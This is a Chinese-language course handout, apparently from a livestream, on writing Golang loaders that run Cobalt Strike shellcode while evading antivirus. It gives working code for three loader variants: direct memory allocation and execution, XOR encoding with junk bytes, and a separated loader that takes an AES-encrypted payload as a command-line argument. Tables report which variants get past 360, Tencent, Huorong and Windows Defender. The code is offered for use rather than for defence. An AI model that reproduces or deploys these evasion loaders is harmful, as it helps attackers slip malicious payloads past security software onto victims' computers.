课件来源于99次直播

#知识点:1、Golang-Shellcode编译2、Golang-编码加密-XOR混淆3、Golang-分离式加载器-参数&资源#准备工作:安装Golang环境,IDE(Goland或Vscode)#基本知识:1、运行1.go脚本go run 1.go2、编译1.go脚本go build 1.go3、没有弹窗的exe命令编译:go build -ldflags="-H windowsgui -w -s" 1.go#以下环境采用CS生成的C-Shellcode测试
1、简单编译C-Shellcode
| 安全厂商 | 语言/类别 | 结果 |
| X60 | Golang-直接编译 | GG |
| 管家 | Golang-直接编译 | GG |
| 某绒 | Golang-直接编译 | GG |
| Windows Defender | Golang-直接编译 | GG |
//利用思路:利用Golang语言编译执行Shellcodepackage mainimport ("io/ioutil""os""syscall""unsafe")const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")shellcode_buf = []byte{0xfc, 0x48, //shellcode})func checkErr(err error) {if err != nil {if err.Error() != "The operation completed successfully." {println(err.Error())os.Exit(1)}}}func main() {shellcode := shellcode_bufif len(os.Args) > 1 {shellcodeFileData, err := ioutil.ReadFile(os.Args[1])checkErr(err)shellcode = shellcodeFileData}addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if addr == 0 {checkErr(err)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))checkErr(err)syscall.Syscall(addr, 0, 0, 0, 0)}


2、XOR运算编译C-Shellcode
| 安全厂商 | 语言/类别 | 结果 |
| X60 | Golang-XOR运算 | GG |
| 管家 | Golang-XOR运算 | Bypass |
| 某绒 | Golang-XOR运算 | Bypass |
| Windows Defender | Golang-XOR运算 | Bypass |
//利用思路:Python开发的加密脚本加密shellcode,Go脚本进行解密执行// 先用python运算shellcode 后利用Golang还原后调用执行def xor(shellcode, key):new_shellcode = ""key_len = len(key)# 对shellcode的每一位进行xor亦或处理for i in range(0, len(shellcode)):s = ord(shellcode[i])p = ord((key[i % key_len]))s = s ^ p # 与p异或,p就是key中的字符之一s = chr(s)new_shellcode += sreturn new_shellcodedef random_decode(shellcode):j = 0new_shellcode = ""for i in range(0,len(shellcode)):if i % 2 == 0:new_shellcode[i] = shellcode[j]j += 1return new_shellcodedef add_random_code(shellcode, key):new_shellcode = ""key_len = len(key)# 每个字节后面添加随机一个字节,随机字符来源于keyfor i in range(0, len(shellcode)):new_shellcode += shellcode[i]new_shellcode += key[i % key_len]return new_shellcode# 将shellcode打印输出def str_to_hex(shellcode):raw = ""for i in range(0, len(shellcode)):s = hex(ord(shellcode[i])).replace("0x",',0x')raw = raw + sreturn rawif __name__ == '__main__':shellcode="\xfc\x48\x83\....."#这是异或和增加随机字符使用的keykey = "xiaodi"# 首先对shellcode进行异或处理shellcode = xor(shellcode, key)# 然后在shellcode中增加随机字符shellcode = add_random_code(shellcode, key)# 将shellcode打印出来print(str_to_hex(shellcode))
package mainimport ("syscall""time""unsafe")const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))func main() {mix_shellcode := []byte{0x95, 0x69, .....}var ttyolller []bytekey := []byte("iqe")var key_size = len(key)var shellcode_final []bytevar j = 0time.Sleep(2)// 去除垃圾代码//fmt.Print(len(mix_shellcode))for i := 0; i < len(mix_shellcode); i++ {if i%2 == 0 {shellcode_final = append(shellcode_final, mix_shellcode[i])j += 1}}time.Sleep(3)//fmt.Print(shellcode_final)// 解密异或for i := 0; i < len(shellcode_final); i++ {ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])}time.Sleep(3)addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}time.Sleep(3)_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}syscall.Syscall(addr, 0, 0, 0, 0)}


3、加载分离参数编译C-Shellcode
| 安全厂商 | 语言/类别 | 结果 |
| X60 | Golang-AES&分离&参数 | Bypass |
| 管家 | Golang-AES&分离&参数 | Bypass |
| 某绒 | Golang-AES&分离&参数 | Bypass |
| Windows Defender | Golang-AES&分离&参数 | Bypass |
//利用思路://生成器生成AES加密的Shellcode,//加载器代码中无Shellcode,参数接受。//使用://go run 3.go 生成KEY和加密值//go build 3.1.go 编译生成加载器//3.1.exe key 加密值 调用接受执行//3.go code:package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""encoding/hex""fmt""math/rand""os""strings""time")//随机生成key,后面用来解密的func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = append(result, bytes[r.Intn(len(bytes))])}return string(result)}//使用PKCS5进行填充用来func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)}//进行aes加密func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil}//主函数入口,对字符进行了处理func main() {argsWithProg := os.Argsif len(argsWithProg) < 2 {fmt.Println("usage : ", argsWithProg[0], " paylaod.c")return}confFile := os.Args[1]str2 := strings.Replace(confFile, "\\x", "", -1)data, _ := hex.DecodeString(str2)key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(data, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)}

//3.1.go code:package mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe")//这一块是定义一些东西去加载我们的shellcodevar procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0}//shellcode执行函数func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()}//同样为了保证我们的shellcode正常运行要进行PKCS5的操作func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]}//经典的aes解密操作func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = PKCS5UnPadding(origData)return origData, nil}//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcodefunc main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)}


吃瓜请扫码:
